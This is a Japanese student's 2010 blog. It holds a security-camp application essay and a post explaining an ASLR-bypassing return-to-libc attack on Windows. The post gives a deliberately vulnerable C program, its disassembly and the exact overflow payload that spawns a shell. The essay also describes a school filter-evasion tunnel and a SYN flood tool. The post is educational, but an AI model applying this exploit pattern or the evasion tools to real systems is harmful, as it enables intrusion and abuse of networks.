セキュリティ&プログラミングキャンプ2010の応募用紙を晒してみる

Posted on

 どうしても試験勉強に身が入らないのでちょっと気分転換がてら晒してみるテストでございます。来年度以降セキュリティ&プログラミングキャンプに応募しようと思ってる方はどうぞ。こーんなどーしようもない事書いてても大丈夫です。

セキュリティ&プログラミングキャンプ2010の開催を、何で知りましたか?

  • 公式ホームページ
  • 先生からの紹介(高校時代に高校のサーバ管理者からの紹介を受けました)

前提質問(どちらかに○をつけてください)

  • [A] ソフトウェアの脆弱性、およびそれらによる攻撃・防御の仕組みに興味がありますか[はい]
  • [B] Cやアセンブラによるプログラミングに興味はありますか?[ある]
  • [C]キャンプの公式Webページの講義科目に記載されたこの組の講義科目の[概要]と[詳細]と[補足]をよく読んで納得できましたか?[できた]

この組を希望した自分なりの理由を教えてください。また、何を学びたいか教えてください。(選考上もっとも重視します)

今まで逆アセンブラによる解析を行ったり、それを用いたソフトウェアの移植、ゲーム内データのコンバート、自分のさせたいように処理を改変するパッチの作成、コピープロテクト外し(勿論、ちゃんと買った製品でですよ!;起動時に毎回DVDを入れるのが面倒なもので)、簡単なセキュリティホールの発見や攻撃のデモの作成等を行ってきましたが、どれも攻撃一辺倒で防御側の経験が全くありません。

また、基本的に学習は(ネット上で手に入る教材の多い)コピープロテクト外しやゲームの改造を題材に行ったもので行っており、それ以上の応用は難しく、ウイルスや実際のソフトウェアの脆弱性に基づいた攻撃といった、高度な攻撃手法には全く太刀打ちが出来ませんでした。

そこで、このキャンプに参加することで「実際の攻撃で使われる」実用的な攻撃手法について体系的に学ぶとともに、防御側から見たセキュリティについても考えてみたいと思っています。

正直に言えば、その知識を使って社会の役に立ちたいといった立派な目的とか、あるいは逆に銀行のシステムに侵入して自分の口座に大金を送金したい(笑)といった思いは全くなく、純然たる知識欲、あるいは「ハッカーになりたい」という思いで今回応募させていただきました。実際、プログラムを解析したり、脆弱性の突き方を考えるのが楽しくてしょうがないです。

そういった人の方が純粋な探究心は高いでしょうし、歴史的に言えば、そういった純然たる知識欲からセキュリティ上の悪戯をして逮捕されたハッカーが素晴らしいセキュリティ専門家になることもままありましたから、そういう人が居ても良いんじゃないかと思います。

プログラミング歴を教えて下さい。また、今までに作ったプログラム (特にシステムプログラム†1)があれば、差し障りのない範囲で具体的に教えてください。

プログラミング暦は10年ほど。

アセンブラからシェルスクリプト、ウェブアプリから組み込み系(主にゲームハード用)まで、言語・ジャンルは何でも書きますが、何かしらのパズルを解くような、アルゴリズムが最重視されるようなプログラムは不得意で、ツールやシステムをいじるようなプログラムをよく書きます。

ASLRが有効なWindos Vista以降でも実行可能なreturn-to-libc攻撃のサンプル

ASLR(Address space layout randomization)によってライブラリの関数のアドレスは変わっても、アプリケーション内に存在する関数のアドレスは変わらないことを利用した、return-to-libcの攻撃コードです。

アプリに含まれる任意のコードがすべて実行可能になります。

原理や攻撃コードの中身については上記のページをご覧ください。

はづき

コミケで昔頒布した、HTTP over HTTPなトンネリングソフトです。

高校の時、フィルタリングによって高校のネットワークからニコニコ動画に繋ぐ事が出来なかったので作成しました。

(もちろんニコニコ動画以外にもつなげます)

一回自宅のサーバ(私のblogがおいてあるサーバです)を経由することで、フィルタリングを回避します。

[学校のPC]→→[フィルタリングサーバ]   (アクセス制限)   [ニコニコ動画]
↓(プロキシサーバとしてアクセス)                       ↑
[はづきクライアント]→(暗号化)→[自宅サーバで走るはづきサーバ]→↑(代理アクセス)

このはづきサーバはLinuxのデーモンとして実装してあります。

当時の自宅サーバは諸事項でカーネルverが2.4台だったのでプレフォーク型サーバとして実装してあります。

この後、自宅サーバへの異常なトラフィックからサーバ管理者(このキャンプを紹介してくれた人)に見破られ、自宅サーバへもアクセス制限が掛けられて結局使用不能になりました(笑)。

CGIとして実装しなおして複数のフリーウェブサーバに分散して配置し、それらをラウンドロビンして使うといった事も考えましたが、そこまで気合がなかったというのに加え、さすがに負荷が高くフリーサーバでそこまでするのはどうかという思いから断念しました。

さきゅばす

ニコニコ動画の動画を、コメントを動画に焼きこんで(デフォルトでxvidのaviとして)保存するソフトウェアです。

変換部分はffmpegという有名なオープンソースの動画エンコーダに動画フィルタを追加して実装しています。

この動画フィルタは、ffmpeg.exeに追加したDLLローダからnicovideo.dll(実際のフィルタ処理が書いてある)を動的に呼び出して処理しています。

こうした理由は、ffmpeg.exeが余りにも巨大でリンクに5分以上かかるため、頻繁に更新するフィルタ処理部分をdllで分けたほうが開発時間短縮になるからです。

オープンソース化し、そこそこ人気も出ているようです。

ZERO

昔つくったオセロプログラムです。Javaで書かれていて、一般的なNegaScoutというアルゴリズムで動いていました。

Yahoo!レーティングで1700(結構上級者)くらいまで行きました。

ポケモンセーブデータエディタ

GBAの「ポケットモンスター ルビー/サファイア/エメラルド/ファイヤーレッド/リーフグリーン」に対応した、セーブデータの書き換えツールです。

実装に当たってはゲームのROMを吸い出してエミュレータ上でセーブデータの保存処理を解析し、チェックサムを正しく書き換えています。

巫女が死ぬとファイルが消える東方

ゲームの処理の一部を書き加えた上で自分で書いた処理を付け加え、プレイヤがミスをするとマイドキュメントのファイルが一個ずつ消えていくようにしたジョークプログラムです。緊張感が凄いです(笑)。

注意メッセージの表示部分をつぶしてP2Pに流されると非常に危ないので動画しか公開していません。

なお、脆弱性等は一切使っていません。

証明写真作成工房

Webアプリです。

自分の顔写真をアップロードして、顔の中心・あご下・頭のてっぺんの位置を指定すると、証明写真を印刷するためのPDFが作られて、それを印刷することで自分で証明写真を作れるサービスです。

grails(フレームワーク) + iText(PDF作成ライブラリ)で実装しています。

UFO大好き霊子さん

同様にウェブサービスです。使用者が余りにも居なかったのでサーバ更新時に廃止してしまいましたが…。

UFOや心霊、廃墟や超心理学に関する場所をGoogleMapを使って登録して共有し、現地の写真を投稿したりコメントがつけられるサービスです。

ストリートビューとも連携していて、ストリートビューに写っている心霊写真も登録されていたりしました。

成分解析 for CGI written in C

数年前に流行った「成分解析」という占いプログラムを解析して、CによるCGIに実装したウェブサービスです。

SynFlood攻撃プログラム

システムプログラムと呼べるかどうかは分かりませんが、ioctlとかを使って生パケットを組み立て送信して、synflood攻撃をするプログラムを書いたこともあります。

勿論、外部に向けて送信しようとしてもプロバイダで弾かれるのでLAN内でしか効果が無いのですが。


またちょっと時間が無くて開発は出来ていませんが、以下のようなプログラムを作りかけています。

強制Portable化ランチャ(win32)

USBなどにアプリを入れて持ち運ぶ「PortableApps」が最近人気ですが、レジストリに設定を書き込むソフトはそのままではPortableに出来ませんし、「<アプリのフォルダ>/ユーザ名/config」に設定を書き込むタイプのアプリも、PCがわかってユーザ名が変わるとやはり設定が引き継がれません(毎回設定ファイルをコピーすればよいのですが、面倒)。

そこで以下の手順でAPIをフックする事で、レジストリや設定ファイルの書き込みを制御し、Portable化するソフトです。

  1. スペンドした状態でPortable化するアプリをCreateProcess
  2. エントリーポイントのコードをを無限ループに書き換え
  3. とりあえず実行して定期的にEIPを監視
  4. EIPがエントリーポイントまで行ったらプロセスをサスペンド
  5. 制御用のDLLを注入
  6. IATを書き換えてRegOpenKeyExやFileOpenのようなファイル操作関数をフック
  7. CreteProcessもフックし、Portable化するアプリが子プロセスを作るときも1~6を繰り替えし、子プロセスが読み書きするファイル・レジストリも制御する

フックしたRegOpenKeyExやFileOpenでは、同じフォルダにある設定ファイルに基づいてレジストリやファイルの読み書きを制御し、レジストリはファイルに、設定ファイルもユーザ名の部分を適宜変換して読み書きさせ、他のファイルは普通に元のAPIに処理させます。

XPで1/3開発しただけなのでVista以降だともしかするとUACが必要かもしれません…。

Prolog on FastCGI(マルチプラットフォーム)

Prologでウェブアプリを作ろう、とふと思い立ちProlog用のFastCGIモジュールを作りました。Apache/Lighttpdで動きます。

サンプルプログラムの「成分解析 in Prolog」は動いているのですが、Webアプリにあると便利な様々な述語が実装しきれていないのでまだ未公開です。

これまでに開発したプログラムで経験したバグ、およびその影響について差し障りのない範囲で具体的に教えてください。

公開はしていないのですが、開発したシューティングゲームで何故か特定の弾(1~2発程度)の速度が異常に速くなるバグがありました。

原因はいわゆるOff-by-oneで、メモリの配置がちょうど弾の構造体の前のほうにあったデータを長さを超えて書き込んでしまい、ちょうどその「書き込みすぎた」データが弾の速度の領域に被っていて、その書いたデータを速度として読み取ると高速になる、というバグでした。

(静的に確保した領域だったので、メモリの配置が毎回ほぼ一緒でした)

デバッガーを使ってメモリの状態を監視することでやっと発見することが出来ました。

他には「成分解析 for CGI written in C」で入力したテキストの<や>を実態参照に変換し忘れて表示していて、XSSが可能になっていたというバグがありましたが、使われる前に気づいたので無事でした。

あとは条件分岐でa == b && (e == c || d == f)の、括弧を付け忘れて分岐が狂ったり、

void** ptr;
Object* ptr2 = (Object*)ptr;

と*を付け忘れてクラッシュしたり、malloc(size)としたらsize = 0のときにNULLが帰ってきてクラッシュしたり、といったバグは経験した事がありますが、脆弱性となるようなバグは今のところ経験した事がありません。(たぶん発見されていないだけですが)

このように、全体的に防御する側の経験が不足しています。

セキュリティホールは放置しておくとなぜ危険なのでしょうか。自分の言葉で説明してください。

それは、コンピュータはプログラマの忠実なしもべであるはずだからだと思います。

つまり、コンピュータはプログラマという主人の命令に忠実に働く、信頼できる最高の奴隷である、と私は考えています。

その信頼関係があるからこそ、勝手にレジのお金を盗むアルバイトと違って大事なデータも預けられるし、大事なお仕事も代行させられるのだと思います。

それが脆弱性によってコンピュータが攻撃者の命令も聞くようになってしまったり、喋ってはいけない情報を無理やり喋らされてしまったりすることで、主人(プログラマやプログラムを使う人)と奴隷の信頼関係の前提が根本から失われてしまうから、ではないでしょうか。

(逆に、だからこそセキュリティホールを突いたりゲームを改造したりコピープロテクトを外したりするのが楽しいと感じる人が多いのだと思います)

ソフトウェアの脆弱性をなくすには何が必要でしょうか。

短期的には、ソフトウェアを開発するときはできるだけリッチで枯れたライブラリに任せ、”できるだけプログラムを書かない”ことだと思います。

これは車輪の再発明による開発効率の低下を防ぐ意味もありますが、何よりプログラムが短ければそれだけバグも生まれなくなるはずです。

特にソートやデータ構造や文字列操作は自分で書く利点はありませんし(とくにマルチバイト文字列)、絶対にライブラリ任せにした方が良いと思います。

(練習として書いてみる分には悪くないとおもいますが)

長期的には、プログラマはミスをする、という事を前提に対策するしかないと思います。

バッファオーバーフローならJavaやC#みたいに毎回配列を超えていないかをチェックする事で完全に防げますし、NXビットを使えば仮にスタックオーバーフローしてもスタック上にシェルコードを置いて実行させる手法は非常に難しくなります。

ハードウェアやカーネル、実行処理系で注意深く対策し、その上で動く大多数のプログラムはバグが発生してもセキュリティ上の問題までは至らない、という方向に持っていくほか無いように思います。

これでも防げない攻撃はあると思います。

前調べたあるWebの予約管理システムで、ユーザIDとパスワードのチェックはログイン時にしかしておらず、その上さらセッションIDもなく、GETリクエストにユーザIDを入れてユーザを識別しあとはノーチェック(だからそのGETリクエスト先に直接アクセスすればパスワード無しで他人のアカウントをのっとり放題)という、にわかには信じがたいシステムがありました。

この問題自体は確かにWebアプリのフレームワークを用いれば解決できますが、この問題の本質はフレームワークを使っていない事でも、セッションIDがない事でも、ログイン時にしか認証していない事でもなく、プログラマの想像(この場合は「ログインページで認証したのだから、ユーザの個別ページには入れないはずだ」)を超えた、正規の手段(「別にログインページを通過しなくてもユーザ別のページにアクセスできる」)が実は存在した事なのだと思います。

フレームワークの範疇を超えた範囲でのこういった、プログラマの想像を超えるようなセキュリティホールは無くならないだろうと感じました。

これに関してはまだ解決策が見えていないというのが率直なところです。

あなたがある程度読み書きできるプログラミング言語を書いてください。(いくつでも可)

手続き型でしたら、他の言語に移植する程度であれば大体読めます。

特にある程度頑張って読み書きした事があるのは以下でしょうか。

アセンブラ:x86 / ARM / H8

Java / C / C++(「何でも出来すぎる」ので機能を絞って利用している) / Objective-C / Ruby / PHP /

Groovy / SQL / JavaScript / ActiveBasic

Prolog

Brainfuck(笑)

ニワン語(現在処理系を実装中)

そのほかアピールしたいこと、書き足りないことがあれば自由に書いてください。

小さいときに魔法少女アニメを見て魔法使いになりたいと思ったものの、現実世界に魔法は存在しなかったので、変わりに電脳世界の魔法使いだと思ったハッカーになりたいと思い、コンピュータを始めました(笑)。

「電脳コイル」が現実になり、電脳世界と現実世界の境界が曖昧になってくれば私の最初の夢に近づいていくのに。

こういう変り種が居ると面白くなると思いますよ!

  • †1: システムプログラムとは、WindowsのDLLやLinuxのデーモン、各種デバイスドライバやカーネルモジュールなどを指します。

プログラミング&セキュリティキャンプ2010参加のおしらせ

Posted on

独立行政法人情報処理推進機構(IPA)の主催する「プログラミング&セキュリティキャンプ2010」の「セキュリティコース/ソフトウェアセキュリティ組」への参加が決定したのでお知らせします。

 てめーらの税金使って遊んでくる†1からwwwwwwwうへえwwwwwwww

 応募用紙に「社会の役に立ちたいといった目的はありません、純然たる知識欲、あるいはハッカーになりたいという思いから応募しました」とはっきり書いた上で選考されたのだから多分問題ないと思います(キリッ

 高校の時から参加したかったんですが受験で参加できず、大学入ってからやっとこさの参加でございます。浮かないかなあ?

 税金で思い出しましたが、大学のMacでアニメ見るとなかなか画面も大きくて迫力があって良いですよ!!なぜ誰も見ていない!!最近は忙しくてなかなか出来ないのですが…orz

 9月にも試験があると書いたばかり…なんか自分で自分の首を絞めている気がする(

 小学校の同窓会と思いっきり被ってるんですが気にしない事にしました(キリッ

 結局ネットがあるし、同窓会っても本当に8年ぶりに会う人って稀なんだよなあ。

  • †1: プログラミング&セキュリティキャンプなら、送料(交通費)・手数料(宿泊費その他)もIPAが負担!!

Twitter(とぅいらー)始めました

Posted on

 なんか、こう色々と諸方面から圧力が掛かってきたのでtwitter始めました(

 サイドバーにも表示してあります。たぶんあんま面白いことはつぶやけませんのであしからず。

 idは”tikal”です。フォローとかはいくらでもどうぞ。

 なんかここ12時間くらいでフォローが6人増えたと思ったらプログラミング&セキュリティキャンプ参加者の方でしたか!ローカルルールとかさっぱり分からんのだけど大丈夫かしら(

ASLRがあっても出来るreturn-to-libc攻撃

Posted on

久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

20100704_overflow.jpg

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?

Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

ダウンロード

Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!

スクリーンショット

20100704_overflow2.jpg

こんな感じでシェルが実行されます。

コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

逆アセンブルコード

exec関数
00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる! **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

 

main関数

 

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
(中略)
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

 

攻撃コード

20100704_overflow3.jpg

 

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

 

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

 

0000 0000  .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい)
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

 

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

 

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

 

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

  • 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
  • パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
  • WinGrooveのコピートラップ関数を呼び出す(笑)

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:

 

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

 

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は?

  • DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

 

実演動画作ってニコニコ動画に上げます!(流石に公開はしない)